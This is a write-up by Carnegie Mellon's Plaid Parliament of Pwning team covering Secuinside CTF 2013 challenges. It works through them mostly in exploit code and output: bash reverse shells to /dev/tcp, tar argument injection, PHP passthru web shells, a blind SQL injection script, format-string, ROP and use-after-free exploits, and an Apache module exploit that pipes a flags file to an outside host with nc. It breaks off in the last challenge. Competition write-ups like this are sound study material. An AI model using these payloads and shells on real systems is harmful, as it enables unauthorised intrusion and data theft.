SECUINSIDE CTF 2013 Write-up

Plaid Parliament of Pwning - Security Research Group at CMU

June 9, 2013

0 Introduction

This is a write-up for Secuinside CTF 2013 from **Plaid Parliament of Pwning** (PPP), Carnegie Mellon University's Security Research Group. This write-up describes walk-throughs for all the challenges that we have completed during the competition. This report file will also be available at http://www.pwning.net.

1 bigfile of secret

We are given a link to a 95 MB file and told that due to unstable connections, it is difficult to get the file in one piece. After attempting to download the file and seeing that it contained a bunch of periods, We guessed that the key was at the end of the file, which is obtainable by sending an HTTP request asking for just the end of the file via the Content-Range header.

```
$ curl -vvvir 100000000-100000489 http://119.70.231.180/secret_memo.txt
* About to connect() to 119.70.231.180 port 80 (#0)
*   Trying 119.70.231.180...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*
    connected
* Connected to 119.70.231.180 (119.70.231.180) port 80 (#0)
> GET /secret_memo.txt HTTP/1.1
> Range: bytes=100000000-100000489
> User-Agent: curl/7.24.0 (x86_64-redhat-linux-gnu) libcurl/7.24.0 NSS/3.14.2.0
   zlib/1.2.5 libidn/1.24 libssh2/1.4.1
> Host: 119.70.231.180
> Accept: */*
>
< HTTP/1.1 206 Partial Content
< Date: Mon, 20 May 2013 14:20:23 GMT
< Server: Apache/2.2.22 (Ubuntu)
< Last-Modified: Mon, 20 May 2013 14:09:34 GMT
< ETag: "4095e-5f5e2e9-4dd26e1d56d24"
< Accept-Ranges: bytes
< Content-Length: 489
< Vary: Accept-Encoding
< Content-Range: bytes 100000000-100000488/100000489
< Content-Type: text/plain
<
```

```
{ [data not shown]
100   489  100   489    0     0   1237      0 --:--:-- --:--:-- --:--:--  2445
* Connection #0 to host 119.70.231.180 left intact
HTTP/1.1 206 Partial Content
Date: Mon, 20 May 2013 14:20:23 GMT
Server: Apache/2.2.22 (Ubuntu)
Last-Modified: Mon, 20 May 2013 14:09:34 GMT
ETag: "4095e-5f5e2e9-4dd26e1d56d24"
Accept-Ranges: bytes
Content-Length: 489
Vary: Accept-Encoding
Content-Range: bytes 100000000-100000488/100000489
Content-Type: text/plain

.............................................................................................................
    key is : we will destroy the world!* Closing connection #0
```

Flag: we will destroy the world!

2 toolbox

We are given a binary and the IP/port it's running at. Reversing the binary, we find that it is a hacker tool service where you can create an account, then login to have access to run various hack tools.

During registration, a file containing the user's password and email is created at `UserList/$USERNAME`. Here, we noticed the bug that the username is not sanitized, and can contain any bytes other than 0, `\r`, or `\n`. The end of the registration, the program creates a user directory at `UserSpace/md5($USERNAME)` and then allows you to install various tools into the directory, which it does does in the following way:

```
system_fmt("/bin/cp ../../Tools/scanning*.gzip .");
system_fmt("/bin/tar xvfzp *.gzip");
system_fmt("/bin/rm -rf *.gzip");
```

To get command execution, we first created a user `ppp2` and paused at the point where it is just about to run the above commands. We then two more users, the first with username
`../UserSpace/9380b34295c343882f895489c588d398/--to-command=sh z .gzip`
and a random password, and the second one with the username
`../UserSpace/9380b34295c343882f895489c588d398/z`
and a password of
`bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/5555 0>&1'`.

Finally, we completed ppp2's registration. This causes the equivalent of this command to be run:

```
tar xvfzp "--to-command=sh z .gzip" "scanning.gzip"
```

Since tar will execute the `--to-command` argument and the `z` file contains our connect back shell command, this gives us a shell.

3 127.0.0.1

In this problem, we are given a binary and an IP where both the binary and an FTP server are running. The server has no NX or ASLR. Reversing the binary, we find that it has a very straightforward buffer overflow, but the binary will only run that code if the connection came from 127.0.0.1.

In order to accomplish this, we need to use the FTP server. We saw that the FTP server allows you to specify an arbitrary host/port to send files to via the PORT command. By setting this to point the the service and downloading a file, we can arrange for the service to recieve a connection from 127.0.0.1 containing our exploit.

Originally, our exploit recved shellcode into bss and only depended on addresses from the binary. However, the recv was apparently blocking when we tried to exploit the server. As a result, we ended up downloading ld-linux.so using the FTP server and using a `jmp *%esp` from there.

```
$ cat exploit.py
#!/usr/bin/python
import sys
import struct

shellcode = "SHELLCODE HERE"

jmp_esp = 0xb7fde000 + 0x1d317

payload = 'q' * 0x5c
payload = payload.ljust(0x5c, 'A')
payload += struct.pack('I', jmp_esp)
payload += shellcode

sys.stdout.write(payload)
$ python exploit.py > payload
$ ftp 54.214.247.89
Connected to 54.214.247.89.
220 Welcome to the secuinside ftpd server.
Name (54.214.247.89:ricky): anonymous
331 Anonymous login accepted, use your email to password.
Password:
230 Logged in sucessfully.
ftp> pwd
257 "/home/secu_ftpd/xxx.xxx.xxx.xxx" is current working dir.
ftp> put payload
local: payload remote: payload
200 Command okay.
150 File status okay; about to open data connection.
226 Closing data connection.
1095 bytes sent in 0.00 secs (8765.0 kB/s)
ftp> 221 Service closing control connection.
```

```
$ nc -v 54.214.247.89 21
ec2-54-214-247-89.us-west-2.compute.amazonaws.com [54.214.247.89] 21 (ftp) open
220 Welcome to the secuinside ftpd server.
USER anonymous
331 Anonymous login accepted, use your email to password.
PASS
230 Logged in sucessfully.
PORT 127,0,0,1,12,60
200 Command okay.
RETR /home/secu_ftpd/xxx.xxx.xxx.xxx/payload
150 File status okay; about to open data connection.
226 Closing data connection.
```

4 secure web

In this problem, we are given a link to a site which lets you upload arbitrary files into a web-accessible directory. However the site has an Apache module which attempts to block uploading PHP scripts into the directory. Looking at the module, we see that it blocks various PHP functions as well as filenames containing php.

I have no idea why, but it looks like the filename check did not work. We simply uploaded the following file as randomart.php:

```
<?PHP
$a = "pass";
$a = $a . "thru";
$a($_GET[x]);
```

and used it to obtain the key. Had the filename checking worked properly, we would have used something like randomart.phtml instead.

5 game

We were given a game containing a lot of funny pictures of beist :-). While reversing this, we fonud some suspcious-looking code which added 18 to each byte at 0x406450. Next, we found code that xors each byte of the data with 0x98. Trying these the two orders of applying these operatoins to the bytes, we find tha xoring the adding gives us the key:

```
>>> ''.join(chr((ord(a)^0x98)+18) for a in 'B987BBFAD587BBD586FBF8D5B9C4B9C3FF9797
    '.decode('hex'))
315t_15_0ur_3n3my!!
```

Flag: 315t_15_0ur_3n3my!!

6 givemeashell

We are given a program which just reads 5 bytes and passes it to system. We are able to send it more commands to execute by using the 5 bytes to tell it pipe data from fd 4 to sh.

```
(echo "sh<&4"; echo "bash -c ’bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/5555 0>&1’") |
    nc -v 119.70.231.180 8761
```

7 reader

We are given SSH access to a machine with a setuid binary on it. Reversing the binary, we find that it reads files of a special format, parses it, then prints it out. For unknown reasons, at some point in the code (in a function without a stack canary), a pointer to some of the data from the file is randomly set to a stack pointer. In a later function, another piece of data in the file is memcpyed to that pointer. Since this is a 32 bit binary, we disabled libc randomization with `ulimit -s unlimited` and returned to `system("/bin/sh")`.

```
#!/usr/bin/python
import sys
import struct

# ulimit -s unlimited
system = 0x4006b280
binsh = 0x40192ff8

heap1 = ’A’ * 0x24
heap1 += struct.pack(’I’, system)
heap1 += ’BBBB’
heap1 += struct.pack(’I’, binsh)
heap1 = heap1.ljust(0x32, ’A’)

payload = ’\xffSECUINSIDE\x00’

payload += ’\x00’ * 0x32
payload += ’A’ * 0x32

payload += ’\xff’ * 4

len0 = 5
len1 = 0x32
len2 = 0
len3 = 0

payload += struct.pack(’I’, len0)
payload += struct.pack(’I’, len1)
payload += struct.pack(’I’, len2)
payload += struct.pack(’I’, len3)

payload += ’\x01’

payload += ’A’ * len0
payload += heap1
payload += ’C’ * len2

sys.stdout.write(payload)
```

8 oldskewl

From the challenge description: "Analyze the program and figure out the secret passwords." The program is a Windows binary that at first appears to not do much. In IDA, you will notice a standard anti-disassembly technique: a conditional jump to EIP+1 that always happens. Since IDA does not know that the jump always happens, it creates an instruction and the jump now points into the middle of an instruction. We fixed the binary by search and replace the problematic code segment with nops (0x33, 0xC0, 0x74, 0x01, 0x68 -¿ 0x33, 0xC0, 0x90, 0x90, 0x90).

The program starts up four threads and provides the command line as an argument to each thread's funciton. It then sleeps for 3000 ms and waits for the threads to finish before exiting. Three of the threads don't do anything too interesting, but sub_402680 starts up a fifth thread that opens a file. The filename is either p.txt or the filename provided on the command line. It reads three lines from the file, processes each of them with sub_401D20, then compares each of the outputs to the output of sub_401CD0(0 .. 2). So, can we figure out what sub_401CD0 returns?

sub_401CD0 calls 4 functions: sub_4015B0 setups up some sort of object, sub_401610 with an argument of an array index by the 0..2 passed in (sets object+16 to the argument), sub_401630 which executes a function pointer based on the contents of the pointer stored in object+16, and lastly sub_401670 just returns *object. This looks like a VM: a setup function to initialize the VM state, set the program counter to the start of the VM code, run through the code until you hit a stop condition, then return the value stored in a VM register.

Using sub_4015B0 we can start to construct a mapping from VM opcode to a more descriptive mnemonic. For instance, 0x00 0x01 adds r1 to r0. There appears to be 8 registers. We now know that sub_401670 is returning the contents of r0. So, if we reverse engineer the VM code at 0x40A100, 0x40A128, and 0x40A150 we will know what we need to get the strings to be.

While trying to reverse the VM code, we noticed that the VM code is modified by the other threads that are started by the main function. We will need to take those modifications into account in order to have the correct VM code.

Also, we can now understand the sub_401D20 function, which processes the input strings. It is a simple hash function that returns an integer based on the input strings. We now have the resulting hashes and the process for getting from a string to an integer. The state space for doing a brute force attack would be unreasonable, but the hash function is really simple. In fact, simple enough that we can probably use a theorem solver. We quickly code up a script using Z3 and its python bindings (which are really easy to use, btw), and get a solution. We put the solution into p.txt and we get 'Correct! Submit your answer!' when running the binary.

```
%+c/Y˜
```

At this point we are really skeptical that this is going to work. We generated a solution using a thereom solver, and there are probably lots of solutions, so how is the submission server going to accept this as a flag? Well, it turns out that it doesn't. After poking the organizers, they inform us that we are expected to use a dictionary to brute force the flag with the constraints. So, we code up another python scripts, this time a dictionary brute force. This time we get something that looks like it could be a key, yay!

Flag: codename ancien regime

Z3 script:

```
#!/usr/bin/python
```

```
from z3 import *

length = 6

def loop(x, c):
  return x + c + (x << 6) + (x << 16)

x = BitVecVal(0, 32)

S = [ BitVec('s%s' % i, 32) for i in xrange(length) ]
for i in xrange(length):
  x = loop(x, S[i])

solver = Solver()

#solver.add(x == 0x38B7E73C)
#solver.add(x == 0x991181AE)
solver.add(x == 0x478692F9)
for i in xrange(length):
  solver.add(S[i] < 128, S[i] >= 32)

print solver.check()
m = solver.model()

string = ''
for i in xrange(length):
  string += chr(int('%s' % (m[S[i]])))

print string
```

Dictionary brute-force script:

```
#!/usr/bin/python

f = open('/usr/share/dict/american-english-insane')

'''
solver.add(x == 0x38B7E73C)
solver.add(x == 0x991181AE)
solver.add(x == 0x478692F9)
'''

for line in f:
  acc = 0
  line = line.strip()
  for c in line:
    acc = (acc + ord(c) + (acc << 6) + (acc << 16)) & 0xFFFFFFFF
  if (acc == 0x38B7E73C): # Change this
    print line
```

9 debugd

We are given files/IP/port for a remote debugging system. The service has 4 functions, gdb vuln, objdump vuln, memory info, and report to admin. The first three functions send back the contents of some files containing information about a binary being debugged. Looking at the objdump output, the program being debugged contains a simple format string vulnerability, where the format string is passed via the program's arguments.

The 4th function, report to admin is the most interesting. It runs a script which runs the vulnerable program with the 3rd argument (set to "Hello!") and sends the results to an email (argument 2). The report functions asks us for the first and forth arguments to the script and calls the script with system. Unfortunately, the service blocks most useful shell injection characters, but it didn't block spaces. As a result, we were ble to control the 2nd and 3rd arguments to control the argument to the program and email the output to us.

The vulnerable program copies its first argument to a buffer, copies it to a global buffer at a fixed address, printfs it, then calls getenv on the buffer. We used the printf vulnerability to overwrite getenv's GOT entry with a `pop; ret` gadget, which would jump to shellcode at the beginning of the format string.

```
#!/usr/bin/python
import struct
import socket

shellcode = "SHELLCODE HERE"

getenv_got = 0x804a010

popret = 0x804856b
target = popret & 0xffff
already_printed = 4 + 4 + len(shellcode) + 8*7
to_print = target - already_printed

payload = '\x90\x90\xeb\x04'
payload += struct.pack('I', getenv_got)
payload += shellcode
payload += '%8x' * 7
payload += '%' + str(to_print) + 'x'
payload += '%hn'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('54.214.248.2', 7744))
f = s.makefile('rw', bufsize=0)

f.write('4\n')
f.write('A'*59 + '\n')
f.write('A some@email.com ' + payload + '\n')
```

10 banking

We are given a link to a banking website where you can register/login. Once you are logged in, you can list the users with their balance or transfer money to someone else that you know the account number of.

While registeration and login procedures are handled by normal HTTP AJAX requests, both listing and transfer were done via WebSocket. The websocket session didn't require any authentication for the listing, so we could just send data once the connection was made.

The data consists of 3 fields in JSON format:


```
{
  "cmd":"list_init",
  "o":"balance",
  "b":"desc"
}
```


Both parameters "o" (which represents the sorting target) and "b" (which represents the sorting order) are vulnerable to SQL injection. By writing a simple blind SQL injector, we could find the flag.

```
#!/usr/bin/python

import json
from websocket import create_connection

#query = "("+"select group_concat(table_name) from information_schema.tables where
     table_schema = 0x666C61675F6462"+")"
#query="database()"
#query = "(select group_concat(schema_name) from information_schema.schemata)"
#query = "(select group_concat(column_name) from information_schema.columns where
    table_name = 0x666C61675F74626C )"
query = "(select group_concat(flag) from flag_db.flag_tbl )"


ws = create_connection("ws://1.234.27.139:38090/banking")

res = ""
idx = 1
while True:
  high = 128
  low = 0
  inject = ', if(ord(substr(%s, %d, 1)) < %d,balance,user) desc limit 1'
  while high != low:
    #print 'high %d, low %d' % (high, low)
    if high-low == 1:
      test = high
    else:
      test = int((high-low)/2) + low
    #print 'inject: %s' % (inject % (query, idx, test))
    ws.send('{"cmd":"list_init","o":"balance","b":"' + (inject % (query, idx, test
        )) + '"}')
    result =  ws.recv()
    obj = json.loads(result)
    obj = json.loads(obj['m'])
    if obj[0]['user'] != u'\ud55c\uae00\uc544\uc774\ub514':
      high = test-1
    else:
      low = test
  if high == 0:
    break
  else:
    print chr(high)
    res += chr(high)
  idx += 1
```

```
print "Received '%s'" % res

ws.close()
```

11 secure web revenge

This problem was the same as secure web with slightly better filename and PHP tag filtering. Again, for unknown reasons, the filename filtering did not seem to work for us, so we simply uploaded the following PHP shell as a.php.

```
<script language="php">
$a = "pass";
$a = $a . "thru";
$a($_GET[x]);
</script>
```

After having a shell on this for a long time, we finally realized that the key was stored in one of the upload directories. Since we owned the uploads directory, we chmodded it 0755 and found a key in one of the user upload directories.

12 The Bank Robber

We are given a URL to an website which was vulnerable to SQL injection. Specifically, the list functionality (/M.list) was vulnerable. The server was filtering some SQL keywords such as `select`, `union`, `from`, and `load_file`. It was easily bypassed since it was not replacing the string recursively.

Once we read the server script located at `/site/Main_Site/TBR.php` after figuring out the apache rewrite rules from `/site/.htaccess`, we found a hint:

```
/*

:: HINT ::
root@ubuntu:/var/lib/php5# pwd
/var/lib/php5
root@ubuntu:/var/lib/php5# ls -l FLAG
-r--r----- 1 root www-data 32 May 25 17:26 FLAG
root@ubuntu:/var/lib/php5#

*/
```

The FLAG file could not be read by mysql user. But after analyzing the PHP code, we found that a global variable **$_BHVAR** can be manipulated to make it connect to our mysql server with a custom table to read the file by making the path to '/var/lib/php5/flag' for the layout.

```
http://1.234.27.139:61080/Main_Site/TBR.php?_skin=1&_BHVAR[path_module]=./modules
    /&_BHVAR[db][host]=<<mysql server IP>>&_BHVAR[db][user]=secu&_BHVAR[db][pass]=
    secu&_BHVAR[db][name]=secu
```

13 save the zombie

We were given a binary for a web server an attacker was running. The binary was packed somehow, so we ran it and dumped memory to obtain assembly which we could analyze. Analyzing the binary, we see that it contains code to register botnet clients if they send a request with an Accept header containing the string “BD-Register.” All registered IPs were written into a file at `t/a`.

We found that the file was accessible at http://54.214.248.168/t/a. Looking at that file, we saw references to a file cli.exe, as well as an IP which had registered, 115.68.108.68. Downloading http://54.214.248.168/t/cli.exe, we see that it is is a server listening on port 8080 which provides functionality such as listing directories, changing directory, and reading files. We used the directory listing to find out that the key is in a file called `my_k3y.txt`, then read the key with the file reading function.

```
#!/usr/bin/python
import struct
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('115.68.108.68', 8080))

'''
cmd 1, recv 20524 bytes, send back 1, send 20524 bytes, list directory
cmd 2, recv 260 bytes, change dir to there, send back 2, send back directory
cmd 4, recv 260 bytes, send back 4, send back same data, send back file
'''

#s.send(struct.pack('I', 1))
#s.send('c:\\Users'.ljust(20524, '\x00'))
#raw_input()
#print s.recv(20524)

s.send(struct.pack('I', 4))
s.send('my_k3y.txt'.ljust(260, '\x00'))
raw_input()
print s.recv(9999).encode('hex')
```

14 PE time

We are given a Windows PE binary, and quickly realized that there is some way to provide input using a text field, which is hidden. However, by analyzing the program in IDA, we find that some operation is done to the input then the output gets compared to 4 byte string **C;@R**.

We wrote a simple program to invert the process to generate the original string.

```
#!/usr/bin/python

a = 0x43
for i in xrange(1,6,1):
  a ^= 3
  a += i
print chr(a)
a = 0x3b
for i in xrange(1,5,1):
```

```
  a ^= 4
  a += i
print chr(a)
a = 0x40
for i in xrange(1,4,1):
  a ^= 5
  a += i
print chr(a)
a = 0x52
for i in xrange(1,3,1):
  a ^= 6
  a += i
print chr(a)
```

Flag: SECU

15 xml2html

From the challenge text: "There is a module that you can convert XML to HTML." This is another apache module challenge, so we use IDA and start looking at /dontwebhack500_handler/. It checks that the HTTP method is not GET and parses the /xmldata/ parameter from the POST data. The /xmldata/ parameter contains a URL encoded XML file that gets parsed with libxml2.

The root element of the XML document must be /page/ and can contain the following element types: string, image, link, and select. Each of these types is parsed into an in-memory data structure, and then it iterates through the data structure printing out corresponding HTML.

The bug is in the code that prints the HTML for the select nodes. A select node contains option nodes, and once a select node is parsed it contains a pointer to an array that is filled with the option nodes. When it prints the HTML for the select node, it iterates through the array of option nodes, but it has an off-by-one error and tries to print an extra object.

```
for ( i = 0; *(_BYTE *)(a2 + 8) >= i; ++i )
{
  if ( *(_DWORD *)v6
    && *(_DWORD *)(v6 + 4)
    && (!*(_DWORD *)(v6 + 8) || (*(int (__cdecl **)(_DWORD))(v6 + 8))(*(_DWORD *)(
       v6 + 4)) != 1) )
  {
    ap_rprintf(a1, "<option value='%s'>%s</option>", *(_DWORD *)v6, *(_DWORD *)(v6
        + 4));
    v6 += 16;
  }
}
```

If we can control the memory right after the array of option nodes, then we can control the function pointer that gets called or we can control the text that gets printed. This gives us a path to both execution and memory disclosure.

The primitive we use to control the memory that comes afterward is a string node. A string node gets parsed into a simple structure:

```
struct string_node {
  int size;
  char *text;
```

```
  char color[4];
}
```

A string node let's us control everything that we need to. If we want to disclose memory, then we set size to a non-zero integer that becomes the pointer to a null-terminated string. For EIP control, we set color to a non-zero integer.

Since the challenge binary is an Apache module, we don't know where any code is located in memory. So, our first goal with the memory disclosure is just to figure out where libraries are located in memory. Unfortunately, we don't even know where to start looking in memory. Thankfully, there is another bug.

If you have a image node with a source attribute that is longer than 144 bytes it overflows a heap buffer. We can't overwrite anything too interesting this way, but When the HTML for the image node is printed, it will print until it finds a NUL byte, leaking some of the heap memory. This gives us a heap address that we can use to start exploring memory.

At this point, it is just exploring memory until we find a pointer to a library. We start with a pointer to a Apache struct request_rec, then a struct apr_pool_t, then following some more pointers, and eventually a pointer into libapr. Now we can read the GOT of libapr to get a pointer into libc, and use that to get the address of system().

With the address of system(), we can just put that in the color attribute. In the code above, you will notice that they provide an argument to the function pointer. This corresponds to the text member of the struct, which is perfect for running system.

Flag: !!@@__K33p^g0ing_^x!@_

Example memory disclosure request:

```
curl -d 'xmldata=<page><string>asdf</string><image source="
   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
   "></image><select type="combo" name="A"><option value="1">CCCC<script>BBBB</
   script></option><option value="1">CCCC<script>BBBB</script></option><option
   value="1">CCCC<script>BBBB</script></option><option value="1">CCCC<script>BBBB
   </script></option><option value="1">CCCC</option></select><string size
   ="-1219681664">DDDD</string></page>' http://218.235.124.224:1129/dontwebhack |
   tail -c +1002 | xxd
```

Example system() request:

```
curl -d 'xmldata=<page><string>asdf</string><image source="
   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
   "></image><select type="combo" name="A"><option value="1">CCCC<script>BBBB</
   script></option><option value="1">CCCC<script>BBBB</script></option><option
   value="1">CCCC<script>BBBB</script></option><option value="1">CCCC<script>BBBB
   </script></option><option value="1">CCCC</option></select><string color
   ="%2580%2522%254D%25B7" size="-1217785160">cat /home/dwh500/flags | nc myserver
   .org 8080</string></page>' http://218.235.124.224:1129/dontwebhack
```

16 pwn me!!

For this problem, we were given the source code, binary, and address/port of a 32-bit service compiled with PIE on a machine with NX and ASLR enabled. The service reads data from us 16 bytes past a stack buffer, sends back a fixed string prints the contents of the buffer to stdout, zeros out the buffer (not including the extra 16 bytes), then closes the connection's fd.

Since this is 32-bit, the text and libc base addresses could be easily brute forced. However the question was how we could get code execution with control of so little data (and without the ability to read more through the connection fd). After triggering the crash with core dumps enabled, we found that due to the debug printf, our data was still available in memory (most likely where printf buffers its output). Thus, we were able to pivot the stack to the printf buffer using `pop %ebp; ret` and `leave; ret` gadgets then ROP.

We ended up using the ROP to write a shell command into bss and then call system on it.

```
#!/usr/bin/python
import sys
import struct
import socket

b = int(sys.argv[1])
binary_base = 0xb7700000 | (b << 12)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('54.214.248.112', 8181))

saved_ebp = binary_base - 0x27ed8
libc_base = binary_base - 0x1df000

leave_ret = binary_base + 0xdbd
ret = binary_base + 0x84a

system = libc_base + 0x41280

bss_addr = binary_base + 0x2068 + 1

print 'binary_base:', hex(binary_base)
print 'saved_ebp:', hex(saved_ebp)
print 'bss_addr:', hex(bss_addr)
print

pop_ecx_edx = libc_base + 0x2e8bb
# mov %ecx,(%edx)
sto_ecx_edx = libc_base + 0x41d88

rop = ''

rop += struct.pack('I', pop_ecx_edx)
rop += 'curl'
rop += struct.pack('I', bss_addr)
rop += struct.pack('I', sto_ecx_edx)

rop += struct.pack('I', pop_ecx_edx)
rop += ' rzh'
rop += struct.pack('I', bss_addr + 4)
rop += struct.pack('I', sto_ecx_edx)

rop += struct.pack('I', pop_ecx_edx)
rop += 'ou.o'
rop += struct.pack('I', bss_addr + 8)
rop += struct.pack('I', sto_ecx_edx)

```

```
rop += struct.pack('I', pop_ecx_edx)
rop += 'rg/|'
rop += struct.pack('I', bss_addr + 12)
rop += struct.pack('I', sto_ecx_edx)

rop += struct.pack('I', pop_ecx_edx)
rop += 'sh;#'
rop += struct.pack('I', bss_addr + 16)
rop += struct.pack('I', sto_ecx_edx)

rop += struct.pack('I', system)
rop += 'AAAA'
rop += struct.pack('I', bss_addr)

payload = struct.pack('I', ret) * 200
payload += rop
payload = payload.ljust(1032, 'C')
payload += struct.pack('I', saved_ebp)
payload += struct.pack('I', leave_ret)

s.send(payload)
```

17 movie_talk

We got a Linux binary which manages the list of movies. There are three features: `movie addition`, `movie deletion`, and `movie list`. Analyzing the program revealed that it had a use-after-free bug.

There are few signal handlers installed, and the function **sub_8048C3B** is a destructor which is called when `SIGQUIT` signal is received. It loops through a global array of elements (movie objects), and frees the name buffer and the object itself, but doesn't set the pointers to null. This introduces a use-after-free bug.

In order to exploit the vulnerability, we need to setup the heap so we can control all of the bytes of freed object. This is easy to do because when you add a movie you specify a name which causes a buffer to be allocated with the size of the string plus 1. The movie object that we are trying to control is 20 bytes, so we add two movies with names that are 19 bytes. This results in 4 allocations of 20 bytes each.

After triggering the bug with `SIGQUIT`, we can allocate another movie with a short name, so that one of the buffers is freed buffers is allocated. We then allocate another movie with a 19-byte name whose name buffer will now overlap a freed movie object. The movie object contains a function pointer (which is used in movie list function) that we overwrite with a pointer to a stack pivot.

The stack pivot adds a large number to esp so that esp now points into an environment variable. The environment variable contains a large ret-sled so that memory randomization is not an issue. After the ret-sled, we just return to system() with "bin/sh" as the argument. We now have a shell!

```
#!/usr/bin/python

import subprocess
import os
import signal
import time
```

```
import struct
import sys

def p(x):
    return struct.pack('<L', x)

libc_base = 0x4002a000
add_esp = libc_base + 0x3e3a9
system = libc_base + 0x00041280
binsh = libc_base + 0x168FF8
ret = 0x8048C3A

rop = p(system)
rop += "AAAA"
rop += p(binsh)
shellcode = p(ret)*0x1000 + rop + "L"*int(sys.argv[1])
#shellcode = unicode(shellcode, 'latin-1')
#print type(shellcode)

os.putenv("A", shellcode)

proc = subprocess.Popen(["/home/secu/movie_talk"], stdin=subprocess.PIPE)
print proc.pid

raw_input()

proc.stdin.write('1\n' + 'A'*18 + '\n' + '1\n' + '0\n')
proc.stdin.write('1\n' + 'A'*18 + '\n' + '1\n' + '0\n')

time.sleep(5)

os.kill(proc.pid, signal.SIGQUIT)

time.sleep(1)

proc.stdin.write('1\n' + 'A'*1 + '\n' + '1\n' + '0\n')
proc.stdin.write('1\n' + p(add_esp) + 'B'*14 + '\n' + '1\n' + '0\n')

proc.stdin.write('3\n')

time.sleep(5)

proc.stdin.write('cat /home/secu/key.txt\n')
```

18 angry danbi

We are given a Linux binary which is a service that parses a custom VM code. `sub_804965C` is a main VM code run loop, where it parses the bytes passed in and excutes the operation accordingly.

We located that there are three `auth_levels`. When you connect, you are given the auth level of 1. Then we also found VM opcodes that allowed us to escalate the auth level to 2 and 3. When we get to auth level 3, there is a function that can be triggered by a **\xEF** opcode, which is vulnerable to buffer overflow attack. Specifically, `sub_8048DF8` checks if the auth level is 3 and does memcpy of our input to a local buffer. At first, it seems like the function is only copying 0x20 bytes which is the length of the buffer, so you can't overflow. However, look at the following code:

```
.text:08048E26                  xor     eax, eax
.text:08048E28                  mov     eax, 20h
.text:08048E2D                  test    byte ptr [ebx], 90h
.text:08048E30                  mov     ecx, [edi+1]
.text:08048E33                  test    byte ptr [ebx], 90h
.text:08048E36                  cmp     cl, 2
.text:08048E39                  setalc
.text:08048E3A                  lea     ecx, [edi+esi]
.text:08048E3D                  test    byte ptr [ecx], 90h
.text:08048E40                  push    eax             ; n
.text:08048E41                  test    byte ptr [ecx], 90h
.text:08048E44                  push    ecx             ; src
.text:08048E45                  test    byte ptr [ebx], 90h
.text:08048E48                  push    ebx             ; dest
.text:08048E49                  test    byte ptr [ebx], 90h
.text:08048E4C                  call    _memcpy
```

There is **setalc** instruction at 0x8048E39, which sets AL register to 0xFF if the carry flag is set. Then, we can see that the value of CL (ecx) is derived from [edi+1] which is the second byte of our input. So, as long as we make the second byte of the input less than 2, we can make the length of memcpy (eax) to 0xFF, causing a stack buffer overflow.

Now, we have to figure out how to escalate ourselves to auth level 3. First step is to get to level 2. `sub_8048FC5`, which is triggered by opcode **\x39**, checks if we have the secret value on the stack. Since the secret is read in from a file that we can't read, we need to figure out how to leak the secret and copy it onto the stack. We noticed that our stack is located close to the secret, and that we have a "magic" opcode (**\x50**) that grabs value from the memory where the stack pointer is pointing plus up to 16 bytes. So once we filled in the stack by pushign data to increase the stack pointer to the edge of the stack, we used this opcode to read the secret.

Now that we are auth level 2, we move on to the next level! `sub_8048F5A` tests if we are auth level 2, then proceeds to check if we have the second secret for auth level 3. But we noticed that this secret is derived from /dev/urandom. Also, our input is XORed with 0xDEADBEEF before the comparison. This makes it really difficult for us to have the correct secret, but we realized that the function was using `strcmp` to compare the secret. So, if the first byte of the secret happened to be zero (from /dev/urandom), we can set our input to 0xDEADBEEF so when it is XORed, the string becomes an empty null-terminated string.

With a few tries, we could get the auth level 3. Then, finally we could overflow the local buffer as described above and execute code. The way we decided to get the flag is to jump in the middle of `sub_8048E63`, which sends the content of banner.txt file, to make it send the content of key.txt file instead. Specifically, we jump to 0x8048E75 with two pointer arguments (0x804b07c for "key.txt" and 0x8049b78 for "rb") to receive the flag!

```python
#!/usr/bin/python
import socket
import struct

def pb(x):
  return struct.pack('b', x)
```

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('218.54.30.167', 8080))
f = s.makefile('rw', bufsize=0)

vm_code = ''

vm_code += '\x23\x01\xC0\x04\x08'
vm_code += '\x26\x08'

# Reading secret
for i in xrange(0xFFF/4):
  vm_code += '\x23\xBC\xC0\x04\x08'               # sp++
for i in xrange(4):
  vm_code += '\x21\xBF'

for j in xrange(8):
  vm_code += '\x50' + pb(j+8)
  for i in xrange(12-j):
    vm_code += '\x24\x19'
  vm_code += '\x50' + pb(12-j)
  for i in xrange(12-j):
    vm_code += '\x21\xBF'

vm_code += '\x26\x44'
vm_code += '\x26\x81'
vm_code += '\x26\x19'

vm_code += '\x39'
vm_code += '\x91\xef\xbe\xad\xde\xef\xbe\xad\xde'
vm_code += '\xef'
vm_code += 'A'*0x20
vm_code += '\x75\x8e\x04\x08'
vm_code += '\x7c\xb0\x04\x08'
vm_code += '\x78\x9b\x04\x08'
vm_code += '\n'

f.write(vm_code)

print f.read(0x100)
```

19 trace him

In this problem, we are given a binary/IP/port for some sort of car control service. The program keeps an array of car parts (which are malloced). There are 6 parts: door lock, recovery system, front missile, rare missile, emp, and a special inventory part. The first four parts all have the same structure, which includes a part number, x and y position, a vtable for menu items, and a options function pointer. The emp has a much larger structure where the options function pointer is at offset 0x74 of the struct as opposed to 0x34 for other car parts. The inventory has a special part number of 9, and consists of a large buffer where users can set and read values.

At the main interface, the following actions are available to the user:

- 1: Read a value at a given index in the inventory

- 2: Increment or decrement a value at the given index in the inventory
- A, B, C, D: Move the cursor
- If the cursor is over a regular part, space to open an options menu for the part.

Each of the non-inventory parts had 3 options, one of which is to free the part. The only other interesting option was in the recovery system, which which had an option to add a comment, of length up to 100. The comment would then be stored in a heap buffer having the length of the comment.

There were a couple of bugs in these pieces:

- The commands to read/write the inventory allowed indexes greater than the size of the inventory.
- The code which freed a part would remove it from the car diagram, but did not clear the part from the parts array.

